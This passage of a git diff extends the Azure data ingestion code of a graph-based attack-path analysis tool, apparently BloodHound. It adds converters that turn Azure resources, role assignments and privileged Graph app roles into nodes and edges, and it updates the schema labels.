convertAzureContainerRegistryRoleAssignment(item.data, data); + break; + case AzurehoundKindLabels.KindAZAutomationAccount: + convertAzureAutomationAccount(item.data, data); + break; + case AzurehoundKindLabels.KindAZAutomationAccountRoleAssignment: + convertAzureAutomationAccountRoleAssignment(item.data, data); + break; + case AzurehoundKindLabels.KindAZLogicApp: + convertAzureLogicApp(item.data, data); + break; + case AzurehoundKindLabels.KindAZLogicAppRoleAssignment: + convertAzureLogicAppRoleAssignment(item.data, data); + break; + case AzurehoundKindLabels.KindAZFunctionApp: + convertAzureFunctionApp(item.data, data); + break; + case AzurehoundKindLabels.KindAZFunctionAppRoleAssignment: + convertAzureFunctionAppRoleAssignment(item.data, data); + break; + case AzurehoundKindLabels.KindAZWebApp: + convertAzureWebApp(item.data, data); + break; + case AzurehoundKindLabels.KindAZWebAppRoleAssignment: + convertAzureWebAppRoleAssignment(item.data, data); + break; + case AzurehoundKindLabels.KindAZManagedCluster: + convertAzureManagedCluster(item.data, data); + break; + case AzurehoundKindLabels.KindAZManagedClusterRoleAssignment: + convertAzureManagedClusterRoleAssignment(item.data, data); + break; + case AzurehoundKindLabels.KindAZVMScaleSet: + convertAzureVMScaleSet(item.data, data); + break; + case AzurehoundKindLabels.KindAZVMScaleSetRoleAssignment: + convertAzureVMScaleSetRoleAssignment(item.data, data); + break; case AzurehoundKindLabels.KindAZKeyVault: convertAzureKeyVault(item.data, data); break; @@ -983,6 +1070,9 @@ export function convertAzureData(chunk) { case AzurehoundKindLabels.KindAZKeyVaultContributor: convertAzureKeyVaultContributors(item.data, data); break; + case AzurehoundKindLabels.KindAZKeyVaultKVContributor: + convertAzureKeyVaultKVContributors(item.data, data); + break; case AzurehoundKindLabels.KindAZKeyVaultOwner: convertAzureKeyVaultOwners(item.data, data); break; @@ -1122,6 +1212,98 @@ export function convertAzureAppOwner(data, ingestionData) { } } +/** + * + * @param {AzureIngestionData} ingestionData + * @param {AzureAppRoleAssignment} data + */ +export function convertAzureAppRoleAssignment(data, ingestionData) { + if (data.appId !== "00000003-0000-0000-c000-000000000000") return; + if (data.principalType !== "ServicePrincipal") return; + + insertNewAzureNodeProp( + ingestionData, + AzureLabels.ServicePrincipal, + { + objectid: data.principalId.toUpperCase(), + map: { + displayname: data.principalDisplayName.toUpperCase(), + tenantid: data.tenantId.toUpperCase(), + }, + }, + false + ); + + insertNewAzureNodeProp( + ingestionData, + AzureLabels.ServicePrincipal, + { + objectid: data.resourceId.toUpperCase(), + map: { + displayname: data.resourceDisplayName.toUpperCase(), + tenantid: data.tenantId.toUpperCase(), + }, + }, + false + ); + + if (data.appRoleId.toLowerCase() === "1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.ServicePrincipal, AzureLabels.ServicePrincipal, AzureLabels.ApplicationReadWriteAll), + { source: data.principalId.toUpperCase(), target: data.resourceId.toUpperCase() } + ); + } + + if (data.appRoleId.toLowerCase() === "06b708a9-e830-4db3-a914-8e69da51d44f") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.ServicePrincipal, AzureLabels.ServicePrincipal, AzureLabels.AppRoleAssignmentReadWriteAll), + { source: data.principalId.toUpperCase(), target: data.resourceId.toUpperCase() } + ); + } + + if (data.appRoleId.toLowerCase() === "19dbc75e-c2e2-444c-a770-ec69d8559fc7") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.ServicePrincipal, AzureLabels.ServicePrincipal, AzureLabels.DirectoryReadWriteAll), + { source: data.principalId.toUpperCase(), target: data.resourceId.toUpperCase() } + ); + } + + if (data.appRoleId.toLowerCase() === "62a82d76-70ea-41e2-9197-370581804d09") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.ServicePrincipal, AzureLabels.ServicePrincipal, AzureLabels.GroupReadWriteAll), + { source: data.principalId.toUpperCase(), target: data.resourceId.toUpperCase() } + ); + } + + if (data.appRoleId.toLowerCase() === "dbaae8cf-10b5-4b86-a4a1-f871c94c6695") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.ServicePrincipal, AzureLabels.ServicePrincipal, AzureLabels.GroupMemberReadWriteAll), + { source: data.principalId.toUpperCase(), target: data.resourceId.toUpperCase() } + ); + } + + if (data.appRoleId.toLowerCase() === "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.ServicePrincipal, AzureLabels.ServicePrincipal, AzureLabels.RoleManagementReadWriteDirectory), + { source: data.principalId.toUpperCase(), target: data.resourceId.toUpperCase() } + ); + } + + if (data.appRoleId.toLowerCase() === "89c8469c-83ad-45f7-8ff2-6e3d4285709e") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.ServicePrincipal, AzureLabels.ServicePrincipal, AzureLabels.ServicePrincipalEndpointReadWriteAll), + { source: data.principalId.toUpperCase(), target: data.resourceId.toUpperCase() } + ); + } +} + /** * * @param {AzureDevice} data @@ -1305,76 +1487,870 @@ export function convertAzureKeyVault(data, ingestionData) { /** * - * @param {AzureKeyVaultAccessPolicy} data - * @param ingestionData + * @param {AzureContainerRegistry} data + * @param {AzureIngestionData} ingestionData */ -export function convertAzureKeyVaultAccessPolicy(data, ingestionData) { - const get = (ele) => ele === 'Get'; - if (data.permissions.keys !== null && data.permissions.keys.some(get)) { - insertNewAzureRel( - ingestionData, - fProps(AzureLabels.Base, AzureLabels.KeyVault, AzureLabels.GetKeys), - { - source: data.objectId.toUpperCase(), - target: data.keyVaultId.toUpperCase(), - } - ); - } +export function convertAzureContainerRegistry(data, ingestionData) { + insertNewAzureNodeProp( + ingestionData, + AzureLabels.ContainerRegistry, + { + objectid: data.id.toUpperCase(), + map: { + name: data.name.toUpperCase(), + tenantid: data.tenantId.toUpperCase(), + }, + }, + false + ); - if ( - data.permissions.secrets !== null && - data.permissions.secrets.some(get) - ) { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.ResourceGroup, + AzureLabels.ContainerRegistry, + AzureLabels.Contains + ), + { + source: data.resourceGroupId.toUpperCase(), + target: data.id.toUpperCase(), + } + ); + + if (data.identity.principalId) { insertNewAzureRel( ingestionData, fProps( - AzureLabels.Base, - AzureLabels.KeyVault, - AzureLabels.GetSecrets + AzureLabels.ContainerRegistry, + AzureLabels.ServicePrincipal, + AzureLabels.ManagedIdentity ), { - source: data.objectId.toUpperCase(), - target: data.keyVaultId.toUpperCase(), + source: data.id.toUpperCase(), + target: data.identity.principalId.toUpperCase(), } ); } - if ( - data.permissions.certificates !== null && - data.permissions.certificates.some(get) - ) { + if (data.identity.userAssignedIdentities) { + for (let key in data.identity.userAssignedIdentities) { + let user = data.identity.userAssignedIdentities[key]; + if (user.clientId !== '') { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.ContainerRegistry, + AzureLabels.ServicePrincipal, + AzureLabels.ManagedIdentity + ), + { + source: data.id.toUpperCase(), + target: user.principalId.toUpperCase(), + } + ); + } + } + } +} + +/** + * + * @param {AzureIngestionData} ingestionData + * @param {AzureContainerRegistryRoleAssignment} data + */ +export function convertAzureContainerRegistryRoleAssignment(data, ingestionData) { + if (data.assignees === null) return; + for (let entry of data.assignees) { + if (data.objectId.toUpperCase() === entry.assignee.properties.scope.toUpperCase()) { + + if (entry.roleDefinitionId.toLowerCase() === "8e3af657-a8ff-443c-a75c-2fe8c4bcb635") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.ContainerRegistry, AzureLabels.Owns), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "b24988ac-6180-42a0-ab88-20f7382dd24c") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.ContainerRegistry, AzureLabels.Contributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "18d7d88d-d35e-4fb5-a5c3-7773c20a72d9") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.ContainerRegistry, AzureLabels.UserAccessAdministrator), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + } + } +} + +/** + * + * @param {AzureAutomationAccount} data + * @param {AzureIngestionData} ingestionData + */ +export function convertAzureAutomationAccount(data, ingestionData) { + insertNewAzureNodeProp( + ingestionData, + AzureLabels.AutomationAccount, + { + objectid: data.id.toUpperCase(), + map: { + name: data.name.toUpperCase(), + tenantid: data.tenantId.toUpperCase(), + }, + }, + false + ); + + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.ResourceGroup, + AzureLabels.AutomationAccount, + AzureLabels.Contains + ), + { + source: data.resourceGroupId.toUpperCase(), + target: data.id.toUpperCase(), + } + ); + + if (data.identity.principalId) { insertNewAzureRel( ingestionData, fProps( - AzureLabels.Base, - AzureLabels.KeyVault, - AzureLabels.GetCertificates + AzureLabels.AutomationAccount, + AzureLabels.ServicePrincipal, + AzureLabels.ManagedIdentity ), { - source: data.objectId.toUpperCase(), - target: data.keyVaultId.toUpperCase(), + source: data.id.toUpperCase(), + target: data.identity.principalId.toUpperCase(), } ); } + + if (data.identity.userAssignedIdentities) { + for (let key in data.identity.userAssignedIdentities) { + let user = data.identity.userAssignedIdentities[key]; + if (user.clientId !== '') { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.AutomationAccount, + AzureLabels.ServicePrincipal, + AzureLabels.ManagedIdentity + ), + { + source: data.id.toUpperCase(), + target: user.principalId.toUpperCase(), + } + ); + } + } + } } /** * - * @param {AzureKeyVaultContributors} data - * @param ingestionData + * @param {AzureIngestionData} ingestionData + * @param {AzureAutomationAccountRoleAssignment} data */ -export function convertAzureKeyVaultContributors(data, ingestionData) { - if (data.contributors === null) return; - for (let contributor of data.contributors) { - insertNewAzureRel( - ingestionData, - fProps( - AzureLabels.Base, - AzureLabels.KeyVault, - AzureLabels.Contributor - ), - { - source: contributor.contributor.properties.principalId.toUpperCase(), +export function convertAzureAutomationAccountRoleAssignment(data, ingestionData) { + if (data.assignees === null) return; + for (let entry of data.assignees) { + if (data.objectId.toUpperCase() === entry.assignee.properties.scope.toUpperCase()) { + + if (entry.roleDefinitionId.toLowerCase() === "8e3af657-a8ff-443c-a75c-2fe8c4bcb635") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.AutomationAccount, AzureLabels.Owns), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "b24988ac-6180-42a0-ab88-20f7382dd24c") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.AutomationAccount, AzureLabels.Contributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "18d7d88d-d35e-4fb5-a5c3-7773c20a72d9") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.AutomationAccount, AzureLabels.UserAccessAdministrator), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "f353d9bd-d4a6-484e-a77a-8050b599b867") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.AutomationAccount, AzureLabels.AutomationContributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + } + } +} + +/** + * + * @param {AzureLogicApp} data + * @param {AzureIngestionData} ingestionData + */ +export function convertAzureLogicApp(data, ingestionData) { + insertNewAzureNodeProp( + ingestionData, + AzureLabels.LogicApp, + { + objectid: data.id.toUpperCase(), + map: { + name: data.name.toUpperCase(), + tenantid: data.tenantId.toUpperCase(), + }, + }, + false + ); + + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.ResourceGroup, + AzureLabels.LogicApp, + AzureLabels.Contains + ), + { + source: data.resourceGroupId.toUpperCase(), + target: data.id.toUpperCase(), + } + ); + + if (data.identity.principalId) { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.LogicApp, + AzureLabels.ServicePrincipal, + AzureLabels.ManagedIdentity + ), + { + source: data.id.toUpperCase(), + target: data.identity.principalId.toUpperCase(), + } + ); + } + + if (data.identity.userAssignedIdentities) { + for (let key in data.identity.userAssignedIdentities) { + let user = data.identity.userAssignedIdentities[key]; + if (user.clientId !== '') { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.LogicApp, + AzureLabels.ServicePrincipal, + AzureLabels.ManagedIdentity + ), + { + source: data.id.toUpperCase(), + target: user.principalId.toUpperCase(), + } + ); + } + } + } +} + +/** + * + * @param {AzureIngestionData} ingestionData + * @param {AzureLogicAppRoleAssignment} data + */ +export function convertAzureLogicAppRoleAssignment(data, ingestionData) { + if (data.assignees === null) return; + for (let entry of data.assignees) { + if (data.objectId.toUpperCase() === entry.assignee.properties.scope.toUpperCase()) { + + if (entry.roleDefinitionId.toLowerCase() === "8e3af657-a8ff-443c-a75c-2fe8c4bcb635") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.LogicApp, AzureLabels.Owns), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "b24988ac-6180-42a0-ab88-20f7382dd24c") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.LogicApp, AzureLabels.Contributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "18d7d88d-d35e-4fb5-a5c3-7773c20a72d9") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.LogicApp, AzureLabels.UserAccessAdministrator), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "87a39d53-fc1b-424a-814c-f7e04687dc9e") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.LogicApp, AzureLabels.LogicAppContributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + } + } +} + +/** + * + * @param {AzureFunctionApp} data + * @param {AzureIngestionData} ingestionData + */ +export function convertAzureFunctionApp(data, ingestionData) { + insertNewAzureNodeProp( + ingestionData, + AzureLabels.FunctionApp, + { + objectid: data.id.toUpperCase(), + map: { + name: data.name.toUpperCase(), + tenantid: data.tenantId.toUpperCase(), + }, + }, + false + ); + + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.ResourceGroup, + AzureLabels.FunctionApp, + AzureLabels.Contains + ), + { + source: data.resourceGroupId.toUpperCase(), + target: data.id.toUpperCase(), + } + ); + + if (data.identity.principalId) { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.FunctionApp, + AzureLabels.ServicePrincipal, + AzureLabels.ManagedIdentity + ), + { + source: data.id.toUpperCase(), + target: data.identity.principalId.toUpperCase(), + } + ); + } + + if (data.identity.userAssignedIdentities) { + for (let key in data.identity.userAssignedIdentities) { + let user = data.identity.userAssignedIdentities[key]; + if (user.clientId !== '') { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.FunctionApp, + AzureLabels.ServicePrincipal, + AzureLabels.ManagedIdentity + ), + { + source: data.id.toUpperCase(), + target: user.principalId.toUpperCase(), + } + ); + } + } + } +} + +/** + * + * @param {AzureIngestionData} ingestionData + * @param {AzureFunctionAppRoleAssignment} data + */ +export function convertAzureFunctionAppRoleAssignment(data, ingestionData) { + if (data.assignees === null) return; + for (let entry of data.assignees) { + if (data.objectId.toUpperCase() === entry.assignee.properties.scope.toUpperCase()) { + + if (entry.roleDefinitionId.toLowerCase() === "8e3af657-a8ff-443c-a75c-2fe8c4bcb635") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.FunctionApp, AzureLabels.Owns), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "b24988ac-6180-42a0-ab88-20f7382dd24c") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.FunctionApp, AzureLabels.Contributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "18d7d88d-d35e-4fb5-a5c3-7773c20a72d9") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.FunctionApp, AzureLabels.UserAccessAdministrator), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "de139f84-1756-47ae-9be6-808fbbe84772") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.FunctionApp, AzureLabels.WebsiteContributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + } + } +} + +/** + * + * @param {AzureWebApp} data + * @param {AzureIngestionData} ingestionData + */ +export function convertAzureWebApp(data, ingestionData) { + insertNewAzureNodeProp( + ingestionData, + AzureLabels.WebApp, + { + objectid: data.id.toUpperCase(), + map: { + name: data.name.toUpperCase(), + tenantid: data.tenantId.toUpperCase(), + }, + }, + false + ); + + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.ResourceGroup, + AzureLabels.WebApp, + AzureLabels.Contains + ), + { + source: data.resourceGroupId.toUpperCase(), + target: data.id.toUpperCase(), + } + ); + + if (data.identity.principalId) { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.WebApp, + AzureLabels.ServicePrincipal, + AzureLabels.ManagedIdentity + ), + { + source: data.id.toUpperCase(), + target: data.identity.principalId.toUpperCase(), + } + ); + } + + if (data.identity.userAssignedIdentities) { + for (let key in data.identity.userAssignedIdentities) { + let user = data.identity.userAssignedIdentities[key]; + if (user.clientId !== '') { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.WebApp, + AzureLabels.ServicePrincipal, + AzureLabels.ManagedIdentity + ), + { + source: data.id.toUpperCase(), + target: user.principalId.toUpperCase(), + } + ); + } + } + } +} + +/** + * + * @param {AzureIngestionData} ingestionData + * @param {AzureWebAppRoleAssignment} data + */ +export function convertAzureWebAppRoleAssignment(data, ingestionData) { + if (data.assignees === null) return; + for (let entry of data.assignees) { + if (data.objectId.toUpperCase() === entry.assignee.properties.scope.toUpperCase()) { + + if (entry.roleDefinitionId.toLowerCase() === "8e3af657-a8ff-443c-a75c-2fe8c4bcb635") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.WebApp, AzureLabels.Owns), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "b24988ac-6180-42a0-ab88-20f7382dd24c") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.WebApp, AzureLabels.Contributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "18d7d88d-d35e-4fb5-a5c3-7773c20a72d9") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.WebApp, AzureLabels.UserAccessAdministrator), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "de139f84-1756-47ae-9be6-808fbbe84772") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.WebApp, AzureLabels.WebsiteContributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + } + } +} + +/** + * + * @param {AzureManagedCluster} data + * @param {AzureIngestionData} ingestionData + */ +export function convertAzureManagedCluster(data, ingestionData) { + insertNewAzureNodeProp( + ingestionData, + AzureLabels.ManagedCluster, + { + objectid: data.id.toUpperCase(), + map: { + name: data.name.toUpperCase(), + tenantid: data.tenantId.toUpperCase(), + }, + }, + false + ); + + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.ResourceGroup, + AzureLabels.ManagedCluster, + AzureLabels.Contains + ), + { + source: data.resourceGroupId.toUpperCase(), + target: data.id.toUpperCase(), + } + ); + + let NodeResourceGroupID = "/SUBSCRIPTIONS/" + data.subscriptionId.toUpperCase() + "/RESOURCEGROUPS/" + data.properties.nodeResourceGroup.toUpperCase() + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.ManagedCluster, + AzureLabels.ResourceGroup, + AzureLabels.NodeResourceGroup + ), + { + target: NodeResourceGroupID.toUpperCase(), + source: data.id.toUpperCase(), + } + ); + + //Todo: Create edge from ManagedCluster to VMSS resource group +} + +/** + * + * @param {AzureIngestionData} ingestionData + * @param {AzureManagedClusterRoleAssignment} data + */ +export function convertAzureManagedClusterRoleAssignment(data, ingestionData) { + if (data.assignees === null) return; + for (let entry of data.assignees) { + if (data.objectId.toUpperCase() === entry.assignee.properties.scope.toUpperCase()) { + + if (entry.roleDefinitionId.toLowerCase() === "8e3af657-a8ff-443c-a75c-2fe8c4bcb635") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.ManagedCluster, AzureLabels.Owns), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "b24988ac-6180-42a0-ab88-20f7382dd24c") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.ManagedCluster, AzureLabels.Contributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "18d7d88d-d35e-4fb5-a5c3-7773c20a72d9") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.ManagedCluster, AzureLabels.UserAccessAdministrator), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "ed7f3fbd-7b88-4dd4-9017-9adb7ce333f8") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.ManagedCluster, AzureLabels.AKSContributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + } + } +} + +/** + * + * @param {AzureVMScaleSet} data + * @param {AzureIngestionData} ingestionData + */ +export function convertAzureVMScaleSet(data, ingestionData) { + insertNewAzureNodeProp( + ingestionData, + AzureLabels.VMScaleSet, + { + objectid: data.id.toUpperCase(), + map: { + name: data.name.toUpperCase(), + tenantid: data.tenantId.toUpperCase(), + }, + }, + false + ); + + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.ResourceGroup, + AzureLabels.VMScaleSet, + AzureLabels.Contains + ), + { + source: data.resourceGroupId.toUpperCase(), + target: data.id.toUpperCase(), + } + ); + + if (data.identity.principalId) { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.VMScaleSet, + AzureLabels.ServicePrincipal, + AzureLabels.ManagedIdentity + ), + { + source: data.id.toUpperCase(), + target: data.identity.principalId.toUpperCase(), + } + ); + } + + if (data.identity.userAssignedIdentities) { + for (let key in data.identity.userAssignedIdentities) { + let user = data.identity.userAssignedIdentities[key]; + if (user.clientId !== '') { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.VMScaleSet, + AzureLabels.ServicePrincipal, + AzureLabels.ManagedIdentity + ), + { + source: data.id.toUpperCase(), + target: user.principalId.toUpperCase(), + } + ); + } + } + } +} + +/** + * + * @param {AzureIngestionData} ingestionData + * @param {AzureVMScaleSetRoleAssignment} data + */ +export function convertAzureVMScaleSetRoleAssignment(data, ingestionData) { + if (data.assignees === null) return; + for (let entry of data.assignees) { + if (data.objectId.toUpperCase() === entry.assignee.properties.scope.toUpperCase()) { + + if (entry.roleDefinitionId.toLowerCase() === "8e3af657-a8ff-443c-a75c-2fe8c4bcb635") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.VMScaleSet, AzureLabels.Owns), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "b24988ac-6180-42a0-ab88-20f7382dd24c") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.VMScaleSet, AzureLabels.Contributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "18d7d88d-d35e-4fb5-a5c3-7773c20a72d9") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.VMScaleSet, AzureLabels.UserAccessAdministrator), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + if (entry.roleDefinitionId.toLowerCase() === "9980e02c-c2be-4d73-94e8-173b1dc7cf3c") { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.VMScaleSet, AzureLabels.VMContributor), + { source: entry.assignee.properties.principalId.toUpperCase(), target: data.objectId.toUpperCase() } + ); + } + + } + } +} + +/** + * + * @param {AzureKeyVaultAccessPolicy} data + * @param ingestionData + */ +export function convertAzureKeyVaultAccessPolicy(data, ingestionData) { + const get = (ele) => ele === 'Get'; + if (data.permissions.keys !== null && data.permissions.keys.some(get)) { + insertNewAzureRel( + ingestionData, + fProps(AzureLabels.Base, AzureLabels.KeyVault, AzureLabels.GetKeys), + { + source: data.objectId.toUpperCase(), + target: data.keyVaultId.toUpperCase(), + } + ); + } + + if ( + data.permissions.secrets !== null && + data.permissions.secrets.some(get) + ) { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.Base, + AzureLabels.KeyVault, + AzureLabels.GetSecrets + ), + { + source: data.objectId.toUpperCase(), + target: data.keyVaultId.toUpperCase(), + } + ); + } + + if ( + data.permissions.certificates !== null && + data.permissions.certificates.some(get) + ) { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.Base, + AzureLabels.KeyVault, + AzureLabels.GetCertificates + ), + { + source: data.objectId.toUpperCase(), + target: data.keyVaultId.toUpperCase(), + } + ); + } +} + +/** + * + * @param {AzureKeyVaultContributors} data + * @param ingestionData + */ +export function convertAzureKeyVaultContributors(data, ingestionData) { + if (data.contributors === null) return; + for (let contributor of data.contributors) { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.Base, + AzureLabels.KeyVault, + AzureLabels.Contributor + ), + { + source: contributor.contributor.properties.principalId.toUpperCase(), + target: data.keyVaultId.toUpperCase(), + } + ); + } +} + +/** + * + * @param {AzureKeyVaultKVContributors} data + * @param ingestionData + */ +export function convertAzureKeyVaultKVContributors(data, ingestionData) { + if (data.kvContributors === null) return; + for (let kvContributor of data.kvContributors) { + insertNewAzureRel( + ingestionData, + fProps( + AzureLabels.Base, + AzureLabels.KeyVault, + AzureLabels.KVContributor + ), + { + source: kvContributor.kvContributor.properties.principalId.toUpperCase(), target: data.keyVaultId.toUpperCase(), } ); diff --git a/src/js/utils.js b/src/js/utils.js index 3702ad39f..0917dd0bf 100644 --- a/src/js/utils.js +++ b/src/js/utils.js @@ -18,7 +18,14 @@ const labels = [ 'AZUser', 'AZVM', 'AZRole', - 'AZManagementGroup' + 'AZManagementGroup', + 'AZFunctionApp', + 'AZWebApp', + 'AZLogicApp', + 'AZAutomationAccount', + 'AZContainerRegistry', + 'AZManagedCluster', + 'AZVMScaleSet' ]; export function generateUniqueId(sigmaInstance, isNode) { @@ -211,8 +218,8 @@ async function dropIndexes() { export async function setSchema() { const luceneIndexProvider = "lucene+native-3.0" - let labels = ["User", "Group", "Computer", "GPO", "OU", "Domain", "Container", "Base", "AZBase", "AZApp", "AZDevice", "AZGroup", "AZKeyVault", "AZResourceGroup", "AZServicePrincipal", "AZTenant", "AZUser", "AZVM"] - let azLabels = ["AZBase", "AZApp", "AZDevice", "AZGroup", "AZKeyVault", "AZResourceGroup", "AZServicePrincipal", "AZTenant", "AZUser", "AZVM"] + let labels = ["User", "Group", "Computer", "GPO", "OU", "Domain", "Container", "Base", "AZBase", "AZApp", "AZDevice", "AZGroup", "AZKeyVault", "AZResourceGroup", "AZServicePrincipal", "AZTenant", "AZUser", "AZVM", "AZFunctionApp", "AZLogicApp", "AZAutomationAccount", "AZContainerRegistry", "AZWebApp", "AZManagedCluster", "AZVMScaleSet"] + let azLabels = ["AZBase", "AZApp", "AZDevice", "AZGroup", "AZKeyVault", "AZResourceGroup", "AZServicePrincipal", "AZTenant", "AZUser", "AZVM", "AZFunctionApp", "AZLogicApp", "AZAutomationAccount", "AZContainerRegistry", "AZWebApp", "AZManagedCluster", "AZVMScaleSet"] let schema = {} for (let label of labels){ schema[label] = {